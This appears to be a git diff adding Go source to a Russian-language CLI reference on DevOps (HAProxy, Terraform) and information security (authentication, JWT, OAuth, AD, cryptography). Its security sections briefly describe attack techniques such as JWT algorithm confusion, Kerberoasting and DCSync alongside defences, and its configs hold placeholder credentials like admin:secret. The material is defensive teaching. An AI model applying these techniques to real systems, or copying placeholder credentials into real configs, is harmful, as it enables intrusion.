option httpchk GET /health
server web1 192.168.1.10:8000 check weight 2
server web2 192.168.1.11:8000 check weight 1
server web3 192.168.1.12:8000 check backup
backend api_back
balance leastconn
timeout server 60s
server api1 192.168.1.20:8080 check
server api2 192.168.1.21:8080 check
# Статистика:
frontend stats
bind *:8404
stats enable
stats uri /stats
stats refresh 10s
stats auth admin:secret`)
utils.Footer()
}

View file

@ -0,0 +1,114 @@
package devopsmodules
import (
"fmt"
"rubric/utils"
"strings"
)
type Module struct {
Key string
Aliases []string
Title string
Description string
Run func()
}
var All = []Module{
GitModule,
DockerModule,
KubernetesModule,
CicdModule,
AnsibleModule,
TerraformModule,
MonitoringModule,
NginxModule,
}
func Find(key string) (Module, bool) {
key = strings.ToLower(strings.TrimSpace(key))
for _, m := range All {
if m.Key == key {
return m, true
}
for _, a := range m.Aliases {
if a == key {
return m, true
}
}
}
return Module{}, false
}
func ListModules() {
fmt.Printf("\n%s%sРазделы справочника DevOps:%s\n\n",
utils.ColorBold, utils.ColorCyan, utils.ColorReset)
for i, m := range All {
fmt.Printf(" %s%d.%s %-14s — %s\n",
utils.ColorDim, i+1, utils.ColorReset,
utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset,
m.Title,
)
}
fmt.Println()
}
// Keywords возвращает ключевые слова для поиска по модулю
func Keywords(key string) []string {
kw := map[string][]string{
"git": {
"git", "ветки", "branch", "merge", "rebase", "commit", "push", "pull",
"clone", "stash", "tag", "cherry-pick", "bisect", "gitflow", "GitHub",
"GitLab", "pull request", "PR", "конфликты", "conflicts", "remote",
"origin", "HEAD", "diff", "log", "blame", "workflow",
},
"docker": {
"docker", "контейнеры", "containers", "образы", "images", "Dockerfile",
"docker compose", "volumes", "тома", "networks", "сети", "registry",
"Hub", "GHCR", "ECR", "podman", "buildx", "multi-stage", "RUN", "CMD",
"ENTRYPOINT", "COPY", "FROM", "healthcheck",
},
"kubernetes": {
"kubernetes", "k8s", "kubectl", "Pod", "Deployment", "Service",
"Ingress", "ConfigMap", "Secret", "Namespace", "PVC", "PV",
"StatefulSet", "DaemonSet", "Job", "CronJob", "Helm", "chart",
"RBAC", "Role", "ClusterRole", "HPA", "autoscaling", "kube",
"node", "cluster", "контейнер", "оркестрация",
},
"cicd": {
"CI", "CD", "пайплайн", "pipeline", "GitHub Actions", "GitLab CI",
"Jenkins", "ArgoCD", "GitOps", "workflow", "job", "runner",
"артефакт", "artifact", "deploy", "деплой", "тесты", "автоматизация",
"continuous integration", "continuous delivery", "YAML",
},
"ansible": {
"ansible", "playbook", "inventory", "инвентарь", "роли", "roles",
"модули", "modules", "задачи", "tasks", "handlers", "шаблоны",
"templates", "Jinja2", "vault", "секреты", "agentless", "SSH",
"конфигурация", "автоматизация", "idempotent",
},
"terraform": {
"terraform", "IaC", "инфраструктура как код", "HCL", "провайдер",
"provider", "ресурс", "resource", "state", "план", "plan", "apply",
"destroy", "модуль", "module", "workspace", "backend", "S3",
"AWS", "GCP", "Azure", "переменные", "output",
},
"monitoring": {
"мониторинг", "Prometheus", "Grafana", "AlertManager", "Loki",
"метрики", "metrics", "алерты", "alerts", "PromQL", "LogQL",
"dashboard", "дашборд", "exporter", "node exporter", "Tempo",
"трассировка", "tracing", "observability", "наблюдаемость",
"SIEM", "логи", "scrape",
},
"nginx": {
"nginx", "веб-сервер", "reverse proxy", "балансировка", "load balancing",
"upstream", "virtual host", "server block", "SSL", "TLS", "HTTPS",
"Let's Encrypt", "certbot", "HAProxy", "rate limiting", "кэширование",
"cache", "gzip", "location", "proxy_pass", "CORS",
},
}
if v, ok := kw[key]; ok {
return v
}
return []string{}
}

View file

@ -0,0 +1,291 @@
package devopsmodules
import (
"rubric/utils"
)
var TerraformModule = Module{
Key: "terraform",
Aliases: []string{"tf", "iac", "infra"},
Title: "Terraform — инфраструктура как код",
Description: "HCL, провайдеры, ресурсы, state, модули, workspace",
Run: showTerraform,
}
func showTerraform() {
utils.Header("DevOps — Terraform")
utils.Section("Основы и установка")
utils.Code(`Terraform декларативный IaC инструмент от HashiCorp.
Описываешь желаемое состояние Terraform приводит инфраструктуру к нему.
# Установка:
# https://developer.hashicorp.com/terraform/install
# Linux (apt):
wget -O - https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor \
-o /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=...] https://apt.releases.hashicorp.com $(lsb_release -cs) main" \
| sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install terraform
terraform version
terraform -install-autocomplete`)
utils.Section("Жизненный цикл")
utils.Code(`terraform init # скачать провайдеры, инициализировать backend
terraform validate # проверить синтаксис
terraform fmt # форматировать код
terraform plan # показать что изменится
terraform apply # применить изменения
terraform destroy # удалить всю инфраструктуру
terraform plan -out=plan.tfplan # сохранить план
terraform apply plan.tfplan # применить сохранённый план
terraform apply -auto-approve # без подтверждения (CI/CD)
terraform apply -target=aws_instance.web # только конкретный ресурс
terraform plan -var="region=eu-west-1"
terraform plan -var-file="prod.tfvars"`)
utils.Section("Синтаксис HCL")
utils.Code(`# main.tf основная конфигурация:
terraform {
required_version = ">= 1.7"
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 5.0"
}
}
backend "s3" {
bucket = "my-tf-state"
key = "prod/terraform.tfstate"
region = "eu-west-1"
encrypt = true
}
}
provider "aws" {
region = var.aws_region
profile = "myprofile"
}`)
utils.Code(`# variables.tf входные переменные:
variable "aws_region" {
description = "AWS регион"
type = string
default = "eu-west-1"
}
variable "instance_count" {
type = number
default = 2
}
variable "allowed_cidrs" {
type = list(string)
default = ["10.0.0.0/8"]
}
variable "tags" {
type = map(string)
default = {
Environment = "production"
Team = "backend"
}
}
variable "db_password" {
type = string
sensitive = true # не показывать в логах
}`)
utils.Code(`# outputs.tf выходные значения:
output "web_ip" {
value = aws_instance.web.public_ip
description = "Публичный IP веб-сервера"
}
output "db_endpoint" {
value = aws_db_instance.main.endpoint
sensitive = true
}`)
utils.Code(`# Использование переменных:
resource "aws_instance" "web" {
ami = data.aws_ami.ubuntu.id
instance_type = "t3.micro"
count = var.instance_count
tags = merge(var.tags, {
Name = "web-${count.index + 1}"
})
}
# locals локальные вычисляемые значения:
locals {
name_prefix = "${var.project}-${var.environment}"
common_tags = {
Project = var.project
Environment = var.environment
ManagedBy = "terraform"
}
}`)
utils.Section("Основные ресурсы (AWS)")
utils.Code(`# Data sources чтение существующих ресурсов:
data "aws_ami" "ubuntu" {
most_recent = true
owners = ["099720109477"] # Canonical
filter {
name = "name"
values = ["ubuntu/images/hvm-ssd/ubuntu-*-22.04-amd64-server-*"]
}
}
data "aws_vpc" "default" {
default = true
}
# EC2:
resource "aws_instance" "web" {
ami = data.aws_ami.ubuntu.id
instance_type = "t3.micro"
subnet_id = aws_subnet.public.id
vpc_security_group_ids = [aws_security_group.web.id]
key_name = "mykey"
user_data = file("scripts/init.sh")
root_block_device {
volume_size = 20
encrypted = true
}
lifecycle {
create_before_destroy = true
ignore_changes = [ami]
}
tags = local.common_tags
}
# Security Group:
resource "aws_security_group" "web" {
name = "${local.name_prefix}-web-sg"
vpc_id = aws_vpc.main.id
ingress {
from_port = 80
to_port = 80
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
# S3 Bucket:
resource "aws_s3_bucket" "assets" {
bucket = "${local.name_prefix}-assets"
}
resource "aws_s3_bucket_versioning" "assets" {
bucket = aws_s3_bucket.assets.id
versioning_configuration {
status = "Enabled"
}
}`)
utils.Section("Модули (Modules)")
utils.Code(`# Модуль переиспользуемая конфигурация
# modules/ec2/main.tf, variables.tf, outputs.tf
# Использование модуля:
module "web_servers" {
source = "./modules/ec2"
# или из реестра:
# source = "terraform-aws-modules/ec2-instance/aws"
# version = "~> 5.0"
instance_count = 3
instance_type = "t3.small"
vpc_id = aws_vpc.main.id
subnet_ids = aws_subnet.public[*].id
tags = local.common_tags
}
output "web_ips" {
value = module.web_servers.public_ips
}
# Популярные модули из реестра registry.terraform.io:
# terraform-aws-modules/vpc/aws
# terraform-aws-modules/eks/aws
# terraform-aws-modules/rds/aws`)
utils.Section("State и Backend")
utils.Code(`# State файл состояния (terraform.tfstate)
# Хранит текущее состояние инфраструктуры.
# НЕ коммити в Git! Содержит секреты.
# Remote backend общий state для команды:
# S3 + DynamoDB (для lock):
backend "s3" {
bucket = "my-tf-state"
key = "prod/terraform.tfstate"
region = "eu-west-1"
encrypt = true
dynamodb_table = "tf-state-lock" # блокировка
}
# Команды state:
terraform state list # список ресурсов в state
terraform state show aws_instance.web # детали ресурса
terraform state mv aws_instance.old aws_instance.new # переименовать
terraform state rm aws_instance.web # убрать из state (не удалять)
terraform import aws_instance.web i-1234567890 # импортировать существующий
# Workspace несколько окружений в одном конфиге:
terraform workspace list
terraform workspace new staging
terraform workspace select production
# В коде: terraform.workspace "staging" / "production"`)
utils.Section("Лучшие практики")
utils.Code(`Структура проекта:
infra/
modules/ # переиспользуемые модули
vpc/
eks/
rds/
environments/
staging/
main.tf
variables.tf
staging.tfvars
production/
main.tf
production.tfvars
.terraform.lock.hcl # версии провайдеров (коммитить!)
Правила:
- Всегда планируй перед apply: terraform plan
- Remote state с блокировкой для командной работы
- Раздели state по окружениям и компонентам
- Используй .terraform.lock.hcl в git
- sensitive = true для секретных переменных
- Используй terragrunt для DRY-конфигураций
Инструменты:
tflint линтинг Terraform
tfsec статический анализ безопасности
checkov security и compliance checks
terragrunt обёртка для DRY-конфигурации
atlantis автоматизация PR для Terraform`)
utils.Footer()
}

View file

@ -99,3 +99,26 @@ func ListModules() {
}
fmt.Println()
}
// Keywords возвращает ключевые слова для поиска по модулю
func Keywords(key string) []string {
kw := map[string][]string{
"basics": {
"установка", "install", "go build", "go test", "go run", "go fmt",
"go vet", "go doc", "go mod", "go get", "тестирование", "сборка",
"компиляция", "кросс-компиляция", "GOOS", "GOARCH", "golangci-lint",
"бенчмарк", "benchmark", "покрытие", "coverage", "go env", "GOPATH",
},
"structs": {
"переменные", "variables", "объявления", "declarations", "типы", "types",
"указатели", "pointers", "new", "область видимости", "scope",
"пакеты", "packages", "импорт", "import", "инициализация", "init",
"var", "const", "nil", "zero value", "нулевое значение",
"присваивание", "assignment", "ключевые слова", "keywords",
},
}
if v, ok := kw[key]; ok {
return v
}
return []string{}
}

View file

@ -0,0 +1,325 @@
package infosecmodules
import (
"rubric/utils"
)
var AuthnModule = Module{
Key: "authn",
Aliases: []string{"auth", "mfa", "jwt", "oauth"},
Title: "Аутентификация и авторизация",
Description: "MFA, JWT, OAuth2, OIDC, RBAC, LDAP/AD, управление доступом",
Run: showAuthn,
}
func showAuthn() {
utils.Header("InfoSec — Аутентификация и авторизация")
utils.Section("Основные понятия")
utils.Code(`Authentication (AuthN) кто ты? Проверка идентичности.
Authorization (AuthZ) что тебе можно? Проверка прав.
Факторы аутентификации:
Something you know пароль, PIN, секретный вопрос
Something you have токен, телефон, смарт-карта
Something you are биометрика (отпечаток, лицо)
Somewhere you are геолокация, IP (дополнительный фактор)
MFA (Multi-Factor Authentication) два и более фактора.
2FA два фактора (подмножество MFA).
Типы MFA (от слабого к сильному):
SMS OTP уязвим к SIM-swap, SS7 атакам
TOTP RFC 6238, Google Authenticator (лучше SMS)
HOTP счётчик, менее популярен
Push Auth Duo, Microsoft Authenticator
FIDO2/WebAuthn аппаратные ключи, phishing-resistant (лучший вариант)`)
utils.Section("Пароли и хранение")
utils.Code(`Правила паролей (NIST SP 800-63B актуальные рекомендации):
- Минимальная длина: 8+ символов (лучше 12-14+)
- НЕ требовать обязательную смену (только при компрометации)
- НЕ требовать сложность (но и не запрещать)
- Проверять по словарю скомпрометированных паролей
- Разрешать пробелы и Unicode
- Показывать пароль при вводе (опционально)
- Поддерживать менеджеры паролей (не ограничивать длину)
Хранение паролей:
Открытый текст
Обратимое шифрование
MD5 / SHA-1 без соли
bcrypt (cost 12), Argon2id, scrypt
Проверка скомпрометированных паролей:
Have I Been Pwned API проверить hashed пароль
k-Anonymity: отправить первые 5 символов хэша
https://api.pwnedpasswords.com/range/{hash_prefix}
Account Lockout:
Блокировать после N неудачных попыток (3-5)
Экспоненциальная задержка между попытками
Уведомлять пользователя о неудачных попытках`)
utils.Section("TOTP — Time-based One-Time Password")
utils.Code(`RFC 6238. Основан на HMAC-SHA1 + временном счётчике.
Как работает:
1. Общий секрет (seed) обменивается один раз (QR-код)
2. Counter = floor(UnixTime / 30) # меняется каждые 30 сек
3. OTP = HOTP(secret, counter) 6-8 цифр
4. Сервер проверяет OTP ± 1 временной шаг
Уязвимости:
- Фишинг в реальном времени (attacker-in-the-middle)
- Не защищает от SIM-swap (только SMS)
- Потеря устройства = потеря доступа
# Python реализация:
import pyotp
secret = pyotp.random_base32()
totp = pyotp.TOTP(secret)
print(totp.now()) # текущий OTP
print(totp.verify("123456")) # проверить
# Provisioning URI для QR-кода:
uri = totp.provisioning_uri("alice@example.com", issuer_name="MyApp")`)
utils.Section("FIDO2 / WebAuthn — беспарольная аутентификация")
utils.Code(`FIDO2 = WebAuthn (W3C) + CTAP (Client-to-Authenticator Protocol)
Phishing-resistant: ключ привязан к origin (домену).
Аутентификаторы:
Platform встроенный в устройство (Touch ID, Windows Hello)
Roaming внешний ключ (YubiKey, Titan Key)
Как работает:
Регистрация:
1. Сервер отправляет challenge
2. Аутентификатор создаёт пару ключей для этого origin
3. Публичный ключ сохраняется на сервере
4. Приватный ключ НИКОГДА не покидает устройство
Аутентификация:
1. Сервер отправляет challenge
2. Аутентификатор подписывает challenge приватным ключом
3. Сервер верифицирует подпись публичным ключом
Атака фишингом НЕВОЗМОЖНА: ключ не работает на evil.com
Паспорты (Passkeys):
= FIDO2 ключи, синхронизируемые через облако (iCloud, Google, 1Password)
Удобство ключей + синхронизация устройств`)
utils.Section("JWT — JSON Web Token")
utils.Code(`JWT компактный токен для передачи claims между сторонами.
Используется для stateless аутентификации (API, микросервисы).
Структура: header.payload.signature
# Header (base64url):
{"alg": "HS256", "typ": "JWT"}
# Payload (base64url):
{
"sub": "1234567890", # subject (user ID)
"name": "Alice Smith",
"iat": 1516239022, # issued at
"exp": 1516242622, # expiration
"jti": "uuid", # JWT ID (для revocation)
"iss": "https://auth.example.com", # issuer
"aud": "https://api.example.com" # audience
}
# Signature:
HMAC-SHA256(base64(header) + "." + base64(payload), secret)
Типы алгоритмов:
Симметричные (один ключ):
HS256, HS384, HS512 HMAC-SHA
Асимметричные (ключевая пара):
RS256 RSA + SHA256 (рекомендуется для распределённых систем)
ES256 ECDSA + SHA256 (компактнее)
EdDSA Ed25519 (современный)
Уязвимости JWT:
alg=none КРИТИЧНО, проверяй алгоритм!
Атака: изменить alg на "none", удалить подпись
RS256HS256 подмена
Атака: использовать публичный RSA ключ как HMAC секрет
Слабый секрет поддаётся брутфорсу
Отсутствие exp токен не истекает
Хранение в localStorage доступен XSS атаке
Лучшие практики:
- Короткий TTL (access token: 15 мин, refresh: 7 дней)
- Использовать RS256 или ES256 (не HS256 в распределённых системах)
- Хранить в HttpOnly cookie (не localStorage!)
- Проверять iss, aud, exp
- Реализовать token revocation (Redis blacklist или jti)`)
utils.Section("OAuth2 и OpenID Connect")
utils.Code(`OAuth2 фреймворк делегированной авторизации (не аутентификации!).
OIDC (OpenID Connect) слой аутентификации поверх OAuth2.
OAuth2 Roles:
Resource Owner пользователь
Client приложение (запрашивает доступ)
Resource Server API с защищёнными данными
Authorization Server выдаёт токены
OAuth2 Grant Types (потоки):
Authorization Code для веб-приложений (РЕКОМЕНДУЕТСЯ)
1. Redirect Auth Server с code_challenge (PKCE)
2. Пользователь авторизуется
3. Redirect обратно с code
4. Обмен code на tokens (server-side)
Client Credentials сервис-к-сервису (без пользователя)
Device Authorization умные устройства, CLI
Implicit Flow устаревший, уязвим (токен в URL)
Resource Owner Password только для доверенных приложений
PKCE (Proof Key for Code Exchange):
Защита от перехвата authorization code.
Обязателен для публичных клиентов (SPA, мобильные).
code_verifier = random()
code_challenge = base64url(sha256(code_verifier))
Токены OAuth2:
Access Token краткоживущий, доступ к API
Refresh Token долгоживущий, получение нового access token
ID Token OIDC, JWT с данными пользователя
OIDC Scopes:
openid обязательный для OIDC, возвращает ID Token
profile имя, аватар, locale
email email и верификация
address адрес
phone телефон`)
utils.Section("RBAC, ABAC и управление доступом")
utils.Code(`DAC (Discretionary Access Control):
Владелец решает кто имеет доступ (Linux chmod, ACL)
MAC (Mandatory Access Control):
Системная политика (SELinux, AppArmor)
RBAC (Role-Based Access Control):
Права назначаются ролям, роли пользователям.
Пример: admin, editor, viewer
Kubernetes RBAC: Role RoleBinding ServiceAccount/User
ABAC (Attribute-Based Access Control):
Решения на основе атрибутов (пользователь, ресурс, контекст)
Пример: OPA (Open Policy Agent), AWS IAM
ReBAC (Relationship-Based Access Control):
Права через отношения между объектами
Пример: Google Zanzibar, SpiceDB, OpenFGA
Принцип наименьших привилегий:
Давать только необходимые права
Just-in-Time (JIT) доступ временное повышение привилегий
Privileged Access Management (PAM):
CyberArk, HashiCorp Vault, AWS IAM Identity Center
# OPA Open Policy Agent (пример Rego политики):
package authz
default allow = false
allow if {
input.method == "GET"
input.path == ["api", "public"]
}
allow if {
input.user.role == "admin"
}`)
utils.Section("LDAP и Active Directory")
utils.Code(`LDAP (Lightweight Directory Access Protocol):
Протокол доступа к каталогам (пользователи, группы, ресурсы).
Active Directory Microsoft LDAP + Kerberos + DNS.
LDAP структура:
DC=example,DC=com домен
OU=Users организационная единица
CN=Alice Smith объект (пользователь)
Полный DN: CN=Alice Smith,OU=Users,DC=example,DC=com
# ldapsearch поиск в LDAP:
ldapsearch -H ldap://dc.example.com \
-D "CN=binduser,DC=example,DC=com" \
-w password \
-b "DC=example,DC=com" \
"(sAMAccountName=alice)"
# Атаки на LDAP/AD:
Pass-the-Hash использование хэша NTLM без пароля
Pass-the-Ticket использование Kerberos билета
Kerberoasting получение хэшей service tickets
AS-REP Roasting атака на аккаунты без Kerberos preauth
DCSync имитация контроллера домена (миллионы хэшей)
LDAP Injection инъекция в LDAP-запросы
# Защита:
- Kerberos AES вместо NTLM/RC4
- Protected Users группа (не кэшировать credentials)
- Отключить NTLMv1, ограничить NTLMv2
- LAPS (Local Admin Password Solution)
- Tiered Administration Model`)
utils.Section("Secrets Management")
utils.Code(`НЕ хранить секреты в:
Git / исходном коде
Docker image / Dockerfile
Environment variables (видны в /proc)
Логах
Инструменты управления секретами:
HashiCorp Vault де-факто стандарт:
Динамические секреты (генерация по запросу)
Lease и автообновление
Аудит всех обращений
AWS Secrets Manager / Parameter Store
GCP Secret Manager
Azure Key Vault
Kubernetes Secrets (base64, не зашифровано по умолчанию!)
+ Sealed Secrets (Bitnami) зашифрованные секреты в Git
+ External Secrets Operator синхронизация с Vault/AWS
# HashiCorp Vault основные операции:
vault server -config=vault.hcl
vault operator init # инициализация (ключи разуплотнения)
vault operator unseal # разуплотнение
vault login
vault secrets enable kv-v2
vault kv put secret/myapp db_password=s3cret api_key=abc123
vault kv get secret/myapp
vault kv get -field=db_password secret/myapp
# Динамические секреты PostgreSQL:
vault secrets enable database
vault write database/config/mydb \
plugin_name=postgresql-database-plugin \
connection_url="postgresql://{{username}}:{{password}}@db:5432/mydb" \
allowed_roles="my-role"
vault write database/roles/my-role \
db_name=mydb \
creation_statements="CREATE ROLE..." \
default_ttl="1h" max_ttl="24h"
# Получить временные credentials:
vault read database/creds/my-role
# username: v-root-xyz123, password: A1B2C3..., lease_duration: 1h`)
utils.Footer()
}

View file

@ -0,0 +1,155 @@
package infosecmodules
import (
"rubric/utils"
)
var BasicsModule = Module{
Key: "basics",
Aliases: []string{"b", "intro", "основы"},
Title: "Основы информационной безопасности",
Description: "Модели угроз, CIA, стандарты, термины, атаки, классификации",
Run: showBasics,
}
func showBasics() {
utils.Header("InfoSec — Основы")
utils.Section("Триада CIA")
utils.Code(`CIA Triad основа информационной безопасности:
Confidentiality (Конфиденциальность)
Информация доступна только авторизованным лицам.
Нарушение: утечка данных, перехват трафика.
Меры: шифрование, контроль доступа, NDA.
Integrity (Целостность)
Информация не изменена несанкционированно.
Нарушение: подмена данных, SQL-инъекция.
Меры: хэши, подписи, контроль версий, аудит.
Availability (Доступность)
Система работает когда нужна.
Нарушение: DDoS, сбой оборудования.
Меры: резервирование, backups, CDN, мониторинг.
Расширения:
+ Non-repudiation (Неотказуемость) действие нельзя отрицать
+ Authenticity подлинность источника
+ Accountability действия можно проследить до субъекта`)
utils.Section("Ключевые понятия")
utils.Code(`Угроза (Threat) потенциальное событие, способное навредить
Уязвимость (Vulnerability) слабое место в системе
Риск (Risk) вероятность × последствия угрозы
Эксплойт (Exploit) использование уязвимости
Атака (Attack) реализация угрозы
Вектор атаки (Attack Vector) путь реализации атаки
Поверхность атаки (Attack Surface) совокупность точек входа
Субъекты:
Threat Actor тот кто осуществляет атаку
APT (Advanced Persistent Threat) государственные хакеры
Script Kiddie использует чужие инструменты без понимания
Insider Threat угроза изнутри (сотрудник)
Hacktivists политически мотивированные хакеры`)
utils.Section("Классификация атак")
utils.Code(`По цели:
Пассивные наблюдение, перехват (не изменяют систему)
Активные изменение, разрушение, внедрение
По вектору:
Network сетевые атаки (MITM, DDoS, сканирование)
Web уязвимости веб-приложений (XSS, SQLi, CSRF)
Social Engineering манипуляция людьми (фишинг, вишинг)
Physical физический доступ, кража устройств
Supply Chain атаки на цепочку поставок (SolarWinds)
Распространённые типы:
Phishing поддельные письма/сайты для кражи данных
Spear Phishing целевой фишинг (конкретная жертва)
Ransomware шифрование данных с выкупом
Man-in-the-Middle перехват и изменение трафика
SQL Injection внедрение SQL в запросы
XSS внедрение скриптов в веб-страницы
DDoS перегрузка сервиса запросами
Brute Force перебор паролей/ключей
Zero-day уязвимость без патча от вендора
Privilege Escalation повышение привилегий`)
utils.Section("Модели угроз (Threat Modeling)")
utils.Code(`STRIDE классификация угроз Microsoft:
Spoofing подделка идентичности
Tampering изменение данных
Repudiation отрицание действий
Information Disclosure утечка данных
Denial of Service отказ в обслуживании
Elevation of Privilege повышение привилегий
PASTA (Process for Attack Simulation and Threat Analysis):
1. Определить бизнес-цели
2. Определить технические требования
3. Декомпозировать приложение
4. Анализ угроз
5. Анализ уязвимостей
6. Моделирование атак
7. Анализ рисков
DREAD оценка риска (1-10 по каждому):
Damage ущерб от атаки
Reproducibility воспроизводимость
Exploitability сложность эксплуатации
Affected users количество пострадавших
Discoverability обнаруживаемость`)
utils.Section("Стандарты и фреймворки")
utils.Code(`NIST Cybersecurity Framework:
Identify Protect Detect Respond Recover
ISO/IEC 27001 стандарт ISMS (Information Security Management System)
ISO/IEC 27002 практики управления ИБ
CIS Controls 18 критических контролей безопасности:
1. Инвентаризация активов
2. Инвентаризация ПО
3. Защита данных
...
18. Тестирование безопасности
OWASP Open Web Application Security Project:
OWASP Top 10 топ уязвимостей веб-приложений
ASVS Application Security Verification Standard
Testing Guide руководство по тестированию
PCI DSS Payment Card Industry Data Security Standard
Для организаций обрабатывающих платёжные карты
GDPR / 152-ФЗ защита персональных данных
CVSS Common Vulnerability Scoring System
Шкала серьёзности уязвимостей 0.010.0
Low (<4), Medium (4-6.9), High (7-8.9), Critical (9-10)`)
utils.Section("Defence in Depth — эшелонированная защита")
utils.Code(`Принцип многоуровневой защиты: компрометация одного уровня
не означает компрометацию всей системы.
Уровни защиты:
Физическая безопасность замки, охрана, CCTV
Периметр сети firewall, IPS/IDS, DMZ
Внутренняя сеть сегментация, VLAN, NAC
Хост hardening, EDR, патчи
Приложение WAF, SAST, аутентификация
Данные шифрование, DLP, backups
Люди обучение, политики, MFA
Принципы:
Least Privilege минимально необходимые права
Need to Know доступ только к нужной информации
Zero Trust не доверяй никому по умолчанию, верифицируй всё
Fail Secure при сбое закрытое состояние
Security by Design безопасность с самого начала проектирования`)
utils.Footer()
}

View file

@ -0,0 +1,209 @@
package infosecmodules
import (
"rubric/utils"
)
var CryptoModule = Module{
Key: "crypto",
Aliases: []string{"cr", "encryption", "крипто"},
Title: "Криптография",
Description: "Симметричная/асимметричная криптография, хэши, MAC, алгоритмы",
Run: showCrypto,
}
func showCrypto() {
utils.Header("InfoSec — Криптография")
utils.Section("Основные понятия")
utils.Code(`Plaintext открытый текст (исходные данные)
Ciphertext зашифрованные данные
Encryption процесс шифрования
Decryption расшифровка
Key ключ (параметр алгоритма)
Algorithm математический метод шифрования
Protocol набор правил использования алгоритмов
Принцип Керкхоффса:
Алгоритм может быть публичным.
Безопасность зависит только от секретности ключа.
(Не полагайтесь на "Security Through Obscurity"!)`)
utils.Section("Симметричная криптография")
utils.Code(`Один ключ для шифрования И расшифровки.
Быстро, подходит для больших объёмов данных.
Проблема: как безопасно передать ключ?
Алгоритмы:
AES (Advanced Encryption Standard) стандарт, ключи 128/192/256 бит
ChaCha20 альтернатива AES, быстро на мобильных без AES-NI
3DES устаревший (DES × 3), не использовать в новых системах
Blowfish устарел
Режимы AES:
ECB каждый блок шифруется независимо (НЕБЕЗОПАСНО, паттерны видны!)
CBC каждый блок XOR с предыдущим шифротекстом, нужен IV
CTR счётчик + nonce, превращает блочный в поточный
GCM CTR + аутентификация (рекомендуется!)
AES-256-GCM золотой стандарт симметричного шифрования.
# OpenSSL пример:
openssl enc -aes-256-cbc -in file.txt -out file.enc -k password
openssl enc -d -aes-256-cbc -in file.enc -out file.txt -k password`)
utils.Section("Асимметричная криптография (PKC)")
utils.Code(`Два математически связанных ключа:
Public key публичный, можно раздавать всем
Private key приватный, хранить в секрете
Операции:
Шифрование: зашифровать публичным расшифровать приватным
Подпись: подписать приватным верифицировать публичным
Алгоритмы:
RSA классика, ключи 2048/4096 бит
Медленный для больших данных (используется для ключей и подписей)
ECDSA на эллиптических кривых, меньший ключ = та же стойкость
256 бит ECDSA 3072 бит RSA
Ed25519 Edwards curve DSA, быстрый и надёжный (SSH, TLS 1.3)
ECDH Elliptic Curve Diffie-Hellman (обмен ключами)
DHE Diffie-Hellman Ephemeral (Perfect Forward Secrecy)
RSA как работает (упрощённо):
p, q большие простые числа
n = p * q (публичный модуль)
e публичная экспонента (обычно 65537)
d приватная экспонента (из p, q, e)
Шифрование: C = M^e mod n
Расшифровка: M = C^d mod n
# Генерация RSA ключа:
openssl genrsa -out private.key 4096
openssl rsa -in private.key -pubout -out public.key
# Генерация Ed25519:
openssl genpkey -algorithm Ed25519 -out private.key`)
utils.Section("Хэш-функции")
utils.Code(`Хэш детерминированное преобразование произвольных данных в строку фиксированной длины.
Свойства криптографического хэша:
1. Детерминизм одни данные один хэш всегда
2. Скорость быстро вычислять
3. Лавинный эффект 1 бит изменения ~50% хэша меняется
4. Необратимость по хэшу нельзя восстановить данные
5. Устойчивость к коллизиям разные данные разные хэши
Алгоритмы:
MD5 128 бит, СЛОМАН (коллизии), только для чексумм
SHA-1 160 бит, СЛОМАН, не использовать для безопасности
SHA-256 256 бит, стандарт (семейство SHA-2)
SHA-512 512 бит, более стойкий
SHA-3 альтернативный дизайн (Keccak), не SHA-2
BLAKE2 быстрее SHA, рекомендуется для checksums
BLAKE3 новый, ещё быстрее
Применение:
Контроль целостности файлов
Хранение паролей (с солью!)
Цифровые подписи (подписывается хэш, а не сами данные)
HMAC, доказательство работы (PoW)
# Примеры:
sha256sum file.txt
echo -n "hello" | sha256sum
openssl dgst -sha256 file.txt`)
utils.Section("Хранение паролей")
utils.Code(`НИКОГДА не хранить пароли в открытом виде!
НИКОГДА не использовать обычный MD5/SHA для паролей!
Почему обычный хэш не подходит:
- Rainbow tables (предвычисленные таблицы хэшей)
- GPU-брутфорс: миллиарды SHA-256 в секунду
Правильные алгоритмы для паролей (медленные!):
bcrypt стандарт, cost factor масштабируется
scrypt память-затратный (сложнее для GPU)
Argon2 победитель PHC, рекомендуется (argon2id)
PBKDF2 много итераций, используется в WPA2, iOS
Соль (Salt) случайные данные, добавляемые к паролю перед хэшированием.
Защита от rainbow tables.
Уникальная для каждого пользователя.
Хранится вместе с хэшем (не секрет).
# Python пример:
import bcrypt
hashed = bcrypt.hashpw(b"password", bcrypt.gensalt(rounds=12))
bcrypt.checkpw(b"password", hashed) # True
# Формат bcrypt хэша:
$2b$12$saltbase64hashedpasswordbase64
# $2b$ версия
# $12$ cost factor (2^12 итераций)
# следующие 22 символа соль
# остальное хэш`)
utils.Section("MAC и аутентифицированное шифрование")
utils.Code(`MAC (Message Authentication Code) обеспечивает целостность и подлинность.
В отличие от хэша: зависит от секретного ключа.
Защищает от подделки (атаки MITM).
HMAC (Hash-based MAC):
HMAC(key, message) = H((key XOR opad) || H((key XOR ipad) || message))
HMAC-SHA256 стандарт.
Используется в JWT, API-подписях, TLS.
Аутентифицированное шифрование (AEAD):
Шифрование + MAC в одном алгоритме.
AES-GCM самый популярный
ChaCha20-Poly1305 альтернатива без AES-NI
AEAD = шифрование (конфиденциальность)
+ authentication (целостность + подлинность)
# HMAC пример:
import hmac, hashlib
mac = hmac.new(b'secret_key', b'message', hashlib.sha256)
print(mac.hexdigest())
# OpenSSL:
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"`)
utils.Section("Perfect Forward Secrecy (PFS)")
utils.Code(`PFS компрометация долгосрочного ключа не раскрывает прошлые сессии.
Без PFS:
Злоумышленник записывает трафик получает приватный ключ
расшифровывает ВСЕ записанные сессии.
С PFS (DHE/ECDHE):
Для каждой сессии генерируются временные (ephemeral) ключи.
После сессии они удаляются.
Расшифровать прошлые сессии НЕВОЗМОЖНО.
TLS шифры с PFS:
ECDHE-RSA-AES256-GCM-SHA384 (рекомендуется)
ECDHE-ECDSA-AES256-GCM-SHA384 (рекомендуется)
